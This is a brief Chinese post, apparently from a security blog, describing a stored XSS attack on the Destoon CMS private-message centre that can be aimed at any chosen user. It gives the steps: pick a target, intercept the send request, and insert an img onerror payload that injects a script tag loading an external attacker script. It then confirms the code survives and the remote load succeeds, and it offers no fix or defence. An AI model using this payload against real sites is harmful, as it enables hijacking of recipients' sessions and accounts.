destoon新版短消息中心xss漏洞指谁打谁下载

destoon新版短消息中心xss指谁打谁。首先选取一个对象我们去发消息

然后抓包，往里面填充我们的xss代码

其中的xss



 

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xsscode';>

然后我们来试着点开该信息，审查元素，代码完好

看网络连接，加载成功了